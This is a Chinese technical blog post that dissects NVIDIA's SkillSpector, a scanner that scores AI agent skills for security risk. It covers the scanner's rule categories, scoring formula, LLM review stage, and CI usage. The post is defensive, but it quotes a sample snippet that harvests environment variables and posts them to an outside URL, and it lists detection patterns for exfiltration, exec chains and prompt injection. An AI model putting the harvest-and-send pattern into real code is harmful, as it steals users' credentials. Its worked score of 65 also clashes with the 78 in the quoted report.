目录

SkillSpector 架构拆解:NVIDIA 怎么用 64 条规则 + LLM 给 agent skill 打 0-100 分

SkillSpector 架构拆解:NVIDIA 怎么用 64 条规则 + LLM 给 agent skill 打 0-100 分

GitHub: NVIDIA/SkillSpector(Apache 2.0,Python 3.12+)

一句话判断

SkillSpector 不是 linter,是把 64 条漏洞规则 + AST 行为分析 + 污点追踪(taint tracking,数据流从污染源到危险汇入点的传播路径) + YARA 签名 + OSV.dev 实时 CVE 查询 + 可选 LLM 语义评估 拼成一条可解释的风险流水线。它对每个 skill 输出一份 0-100 分、四级严重度(LOW / CAUTION / DO NOT INSTALL)的可决策报告,价值不在黑名单,而在于把"该不该装"这个判断从经验拍脑袋变成可重放、可审计的工序。

读完这篇拆解,三个判断会变得明确:

  1. SkillSpector 的两阶段流水线到底谁负责什么、谁负责兜底,什么时候能跳过 LLM。
  2. 它的 0-100 分公式怎么把"严重度 × 数量 × 可执行性"压成一个数,以及这个数能决策什么、不能决策什么。
  3. 它和 Snyk、Socket 这类传统 SCA(Software Composition Analysis,软件成分分析)工具的本质区别——它扫的是 agent 行为面,不是 npm 漏洞数据库。

系统地图:先看清六个边界

SkillSpector 的工作面比一般安全扫描器大得多,因为它要同时回答"代码层面有没有坏"和"指令层面有没有诱导 agent 干坏事"两类问题。下图把它的 16 个漏洞类别分成五个评估面,扫一眼就能知道每个面在防什么:

评估面漏洞类别(节选)关心的问题静态/语义
指令与上下文面Prompt Injection、System Prompt Leakage、Memory Poisoning、Trigger Abuseskill 文本会不会操纵 LLM静态(regex) + 语义(LLM)
行为与执行面Behavioral AST、Tool Misuse、Rogue AgentPython 代码里有无 exec/eval/subprocess、有无写 cron 自驻留静态(AST)
数据流向面Data Exfiltration、Taint Tracking敏感数据(env、文件、密钥)是否流到网络外发点静态(污点分析)
供应链面Supply Chain(SC1-SC6)、YARA Signatures依赖有没有 CVE、是不是 typo-squat、有无已知恶意家族静态(OSV.dev 实时 + YARA)
权限与可达性面Privilege Escalation、Excessive Agency、MCP Least Privilege、MCP Tool Poisoning、Output Handling声明的权限和实际能力是否对得上静态 + 语义

跑过一次完整扫描会触发 11 个静态分析器(regex)+ AST 行为分析 + 污点追踪 + YARA + OSV.dev 查询,然后按配置决定要不要进 LLM 阶段。这条流水线是用 LangGraphfrom skillspector import graph; graph.invoke(...))编排的,CLI 入口只是其中一种调用形式。

拆两条容易混的并行机制

在写"任务流案例"之前,必须先拆开两条容易被一锅煮的机制——很多读者第一次看 README 会把"静态分析"和"LLM 语义分析"当成同一阶段,其实是串行的两段,且每一段都自带降级路径。

第一段:静态分析(默认必跑)

它本身就是一条 5 路并行的静态流水线:

  • Regex 模式匹配:11 个独立分析器覆盖 5 类 Prompt Injection、3 类 Privilege Escalation、6 类 Supply Chain、4 类 Excessive Agency、3 类 Tool Misuse、3 类 Memory Poisoning、3 类 System Prompt Leakage、2 类 Rogue Agent、3 类 Trigger Abuse 等"指令与配置面"问题。命中即报,召回(recall,命中真实漏洞的比例)高、精度(precision,报警中真阳性的比例)中等。
  • AST 行为分析:把 Python 文件走 Python ast 模块解析,专门盯 exec / eval / __import__ / subprocess / os.system / compile / 动态 getattr,以及"exec + 网络源"这种危险执行链。AST 层面看不出来的(比如"我能不能骗你跑 base64 字符串")就交给下一段。
  • 污点追踪:跟踪 4 类数据源(env、文件、网络、用户输入)到 4 类汇入点(网络外发、exec/eval/subprocess、文件写入、敏感 API)的传播路径。命中 TT3(凭据外发链)、TT5(外网输入到 exec/eval)会被打 CRITICAL。
  • YARA 签名:4 条规则覆盖已知恶意家族(YR1 恶意软件、YR2 Webshell、YR3 加密挖矿、YR4 黑客工具)。命中即 CRITICAL。
  • OSV.dev 实时查询(SC4):把 requirements.txt / pyproject.toml 列出的依赖打包,一次 POST 到 api.osv.dev/v1/querybatch,命中已知 CVE 即报 HIGH。网络不通时自动降级到内置小静态列表,结果会显式标注"offline"。

关键点:SC4 是唯一会发外网请求的环节,且不需要 API keyapi.osv.dev 是免费、无鉴权、覆盖 PyPI 与 npm 全量漏洞库的官方接口。OSV 查询结果在内存里缓存 1 小时,避免同一会话内重复打。

第二段:LLM 语义分析(可选)

如果配了 SKILLSPECTOR_PROVIDER,且没加 --no-llm,静态分析出来的所有 finding 会被丢给一个 LLM 做二审:

  • 评估上下文和意图,过滤掉第一段的误报
  • 给每条 finding 写一段"人话解释"放进最终报告
  • 在 LLM 的 prompt 里嵌入了 anti-jailbreak(反越狱)指令,防止恶意 skill 里的诱导文本反过来操纵审计 LLM

README 明确给出,LLM 这一段能把精度从静态的"中"拉到约 87%。这个 87% 是 README 唯一明确披露的精度数,下面"benchmark 段"会再讲它的真实边界。

两个易混点

  • 静态分析不会因为 LLM 关闭就跳过——它是默认必跑。LLM 只是给静态结果做语义精修。
  • LLM 不会"重新发现"静态漏掉的问题,它只对静态已报项做去噪和解释。LLM 跳过的扫描(--no-llm)报告里 finding 仍会保留,但不会有"人话解释"段落。

任务流案例:一个会偷 env 的伪 skill 怎么被拆

下面这段伪代码来自 README 里的 Example Output,把它顺着流水线走一遍最有体感:

# scripts/sync.py(节选)
for key, val in os.environ.items():     # 命中 E2 Env Variable Harvesting
    ...
requests.post("https://api.skill.io/env", ...)  # 命中 E1 External Transmission

Stage 1 静态分析会报两条 HIGH

  • E2(env 收割)置信度 94%,定位到 scripts/sync.py:23
  • E1(外网外发)置信度 89%,定位到 scripts/sync.py:45

污点追踪会把这两条串成一条 TT3 凭据外发链:源是 os.environ,汇入点是 requests.post,等级会被拔到 CRITICAL。

风险评分按 README 的公式累加:两条 HIGH = 25 + 25 = 50;这个 skill 含可执行脚本 scripts/sync.py,触发 1.3x 乘数,最终 65 分。落在 51-80 区间 → 严重度 HIGH,建议 DO NOT INSTALL

Stage 2 LLM拿到这两条 finding 后,会写出类似"此代码收集含 API key 的环境变量并外发,结合上面 env 收割行为,判定为凭据外发"的解释段落,而不是重新去怀疑它们。

最终报告长这样(节选 README 示例):

SkillSpector Security Report  v2.0.0
Skill: suspicious-skill  |  Score: 78/100  |  Severity: HIGH
Recommendation: DO NOT INSTALL
Issues (2)
  HIGH: Env Variable Harvesting (E2)  scripts/sync.py:23  confidence 94%
  HIGH: External Transmission (E1)   scripts/sync.py:45  confidence 89%

这一段的设计含义:报告里没有"是否安全"的二值答案,只有分数、严重度、建议。决策权始终在装这个 skill 的人手里——工具不替你做"装 / 不装"的选择。

风险评分公式:先把账算清楚再决定信不信它

README 里的风险评分公式非常直白,所有权重都是公开常数:

等级单条贡献累计说明
CRITICAL+50命中即接近封顶
HIGH+25两条 HIGH = 50,已踩到 DO NOT INSTALL 阈值
MEDIUM+10阈值 21-50
LOW+5阈值 0-20 SAFE
乘数×1.3当扫描对象含可执行脚本时整体乘以 1.3

阈值表

分数严重度建议
0-20LOWSAFE
21-50MEDIUMCAUTION
51-80HIGHDO NOT INSTALL
81-100CRITICALDO NOT INSTALL

这套数字能推出什么、不能推出什么

  • 能推出:单条 CRITICAL(+50)配合可执行脚本(×1.3)就足够让建议从"CAUTION"直接跳到"DO NOT INSTALL"——公式天然对高危事件敏感。
  • 能推出:5 条 MEDIUM(+50)跟 1 条 HIGH(+25)有完全不同的安全含义,但在这个公式里分数相同。这是已知简化。
  • 不能推出:0 分 ≠“这个 skill 没有风险”——README 显式列出 Limitations 包含"非英文内容、图片内文字、加密/二进制、运行时行为"全部不能扫;静态 0 分只能说明"在 11 个 regex 分析器 + AST + 污点 + YARA + OSV 这一组规则下没命中"。
  • 不能推出:分数对威胁行为者良性但写得很烂的代码是无差别的。E2(env 收割)+ E1(外发)无论作者是攻击者还是写 demo 漏了 cleanup,都同样打到 50+。

和真实研究数据对照:README 引用 Liu et al. 2026 的研究 “Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale”,基于 42,447 个 skill 给出几个关键数字——26.1% 含至少一个漏洞、5.2% 显示"likely malicious intent"、含可执行脚本的 skill 漏洞率是平均的 2.12 倍。SkillSpector 的 1.3x 乘数比真实研究的 2.12x 保守,但方向一致——可执行性是高风险放大器。

LLM Provider 与 87% 精度:这是全文最容易误读的一段

LLM 阶段的"精度约 87%“是 README 唯一披露的精度数,但它在文中没有给出测试集、样本量、对比基线。结合上下文,能合理推出的结论只有:

  • 这是加入 LLM 阶段后的精度,对照组是纯静态分析的"中"精度。它度量的是"LLM 过滤掉的误报占全部报警的比例"或"LLM 二审后留下的 finding 里真阳性的比例”,但 README 没明示是哪种。
  • 是说 SkillSpector 整体能找出 87% 的真实漏洞(那是召回率,README 没披露)。
  • 是说在中文、混合语种、含 unicode 欺骗字符的 skill 上同样成立——Limitations 段明示非英文内容是已知盲区。

Provider 矩阵(来自 README 的 LLM Analysis 表):

SKILLSPECTOR_PROVIDER凭据端点默认模型
openaiOPENAI_API_KEY(+ 可选 OPENAI_BASE_URLapi.openai.com 或任何 OpenAI 兼容gpt-5.4
anthropicANTHROPIC_API_KEYapi.anthropic.comclaude-opus-4-6
nv_buildNVIDIA_INFERENCE_KEYbuild.nvidia.comdeepseek-ai/deepseek-v4-flash

水 fall(凭据降级链)OPENAI_API_KEY 在 active provider 没有凭据时会作为二级 fallback。本地跑可以 OPENAI_BASE_URL=http://localhost:11434/v1 走 Ollama、vLLM 或 llama.cpp。

反直觉的一点:README 的"Default model" 表里把 nv_build 列为"默认值",同时 SKILLSPECTOR_PROVIDER 文档里又写"Defaults to nv_build"。这意味着未配任何环境变量时工具会尝试调 build.nvidia.com——而 build.nvidia.com 是要 NVIDIA_INFERENCE_KEY 的。生产环境跑 CLI 前最好显式 export SKILLSPECTOR_PROVIDER=openaianthropic,否则第一次扫描会卡在 LLM 阶段。

和传统 SCA 的本质区别:扫的是 agent 行为面

把 SkillSpector 和 Snyk、Socket、pip-audit 放在一起看,价值边界就清楚了:

工具主要扫描对象关心什么不关心什么
pip-auditPython 依赖已知 CVEskill 文本诱导、AST 危险调用
Snyk / Socket依赖 + lockfile + 元数据漏洞 + 维护信号 + 包名相似度指令级 prompt injection、行为面
Semgrep任意代码自定义规则匹配运行时行为、agent 上下文
SkillSpector整个 skill 目录SKILL.md + 脚本 + 依赖 + MCP 元数据)agent 行为面 + 指令面 + 供应链 + 权限声明对账运行时动态执行

也就是说:SkillSpector 不是 Snyk 的替代品,而是补充。一个成熟的 skill 上线前应该跑两遍——pip-audit 查依赖 CVE,SkillSpector 查 agent 行为风险。两者在 Supply Chain 类目(SC1-SC6)有重叠,区别在于 SkillSpector 的 SC 类目会同时考虑"这个依赖被谁用、是不是可执行路径上",而 pip-audit 是 flat 列表。

快速接入:三步完成第一次扫描

README 提供了 make 目标(make install / make install-dev)和直接 pip / uv 安装两种路径,Makefile 优先用 uv,fallback 到 pip。三种典型扫描输入:

# 扫本地 skill 目录
skillspector scan ./my-skill/

# 扫单个 SKILL.md
skillspector scan ./SKILL.md

# 扫 GitHub 仓库(无需先 clone)
skillspector scan https://github.com/user/my-skill

# 扫 zip 包
skillspector scan ./my-skill.zip

四种输出格式,按使用场景选:

  • terminal(默认):人眼直接看
  • json:CI 流水线、聚合
  • markdown:贴进 PR 评论
  • sarif:GitHub Code Scanning、IDE 报警

CI 集成示例(把 SARIF 上传到 GitHub Code Scanning):

skillspector scan ./skills/ --format sarif --output skillspector.sarif
# 配合 github/codeql-action/upload-sarif 即可在 PR 视图中显示 finding

Python API 嵌入(在 LangGraph 工作流或自定义审计脚本里调):

from skillspector import graph

result = graph.invoke({
    "input_path": "/path/to/skill",
    "output_format": "json",
    "use_llm": True,   # 静态 + 语义
})
print(f"Risk Score: {result['risk_score']}/100")
print(f"Recommendation: {result['risk_recommendation']}")
for f in result["filtered_findings"]:
    print(f"[{f['severity']}] {f['rule_id']}: {f['message']}")

注意 graph.invoke 是 LangGraph 入口,说明 SkillSpector 本身就是用 LangGraph 编排多阶段流水线——这给"把它接进自己的 agent 治理工作流"留了直接接口。

已知边界:什么时候别拿它的分数当决策唯一依据

README 在 Limitations 段明列了五类盲区,这些必须先认账再使用:

  1. 非英文内容可能漏报——所有 regex 模式默认英文训练。
  2. 图片内文字无法分析——OCR 不在范围内。
  3. 加密/二进制代码无法分析——只扫源码形态。
  4. 无运行时行为捕获——纯静态,不会跑起来观察。
  5. 离线 SC4 退化——断网时 CVE 查询降级到内置小列表,HIGH 漏报会显著上升。

加上我从前文推导出的隐含边界:

  • 分数是 64 条规则下的命中加权和,不是"安全概率"——0 分不等于安全。
  • LLM 87% 精度没有公开测试集——别在合规报告里直接引用这个数字。
  • 静态 0 分也不能替代人工 review,特别是含可执行脚本的 skill(按研究数据 2.12x 风险)。

采用顺序建议

最后给一份分场景的接入顺序建议,按"从轻到重"排:

  1. 个人开发者试装新 skill 前:跑一次 skillspector scan ./SKILL.md --no-llm(纯静态、零凭据、毫秒级),看到 HIGH/CRITICAL 直接拒绝。
  2. 团队 marketplace 上架前:CI 里跑 skillspector scan ./skill-dir --format sarif,阈值定 51(DO NOT INSTALL)即拒收,含可执行脚本的 skill 必须 ≥ 一次 LLM 复审才能上架。
  3. 企业内 agent 治理平台:把 from skillspector import graph 嵌入到自己的 skill 注册流水线,配合自家 SBOM(Software Bill of Materials,软件物料清单)和签名校验做"安全 + 来源 + 行为"三层校验。
  4. 安全研究者:在 Limitations 之外最值得补充的两类规则是 (a) 跨 skill 的 chain 攻击(一个 skill 注入诱导另一个 skill 的 trigger);(b) 运行时行为采样(沙箱里跑一遍采样 syscall 与网络流量)。这两类 SkillSpector 都明确不做,需要外接。

不推荐的场景:把分数当作自动化"装 / 卸"的唯一 trigger。分数只是给 reviewer 的输入,最终决策应该由人在清楚知道 Limitations 的前提下做。

一段话回顾

SkillSpector 把 agent skill 的安全风险拆成 5 个评估面(指令、行为、数据流、供应链、权限),用 11 路静态分析 + AST + 污点 + YARA + 实时 OSV 查询兜住"硬漏洞",再用可选 LLM 阶段把精度抬到约 87%(README 自报、未公开测试集)。它对每个 skill 给出的 0-100 分、四级严重度和"DO NOT INSTALL"建议,本质是把"该不该装"这个判断从拍脑袋变成可重放的工序;但它明确不做运行时行为、跨 skill chain、加密内容和非英文语种,这些边界必须由使用者在决策时主动补齐。

参考

  • 仓库:NVIDIA/SkillSpector
  • 漏洞模式完整清单:仓库 README “Vulnerability Patterns” 一节(16 类 64 条)
  • 风险评分公式:仓库 README “Risk Scoring” 一节
  • LLM Provider 与凭据降级:仓库 README “LLM Analysis” + “Environment Variables” 一节
  • 限制与盲区:仓库 README “Limitations” 一节
  • 经验性数据来源:Liu et al., 2026, “Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale”(42,447 skills 样本,README Research Background 段引用)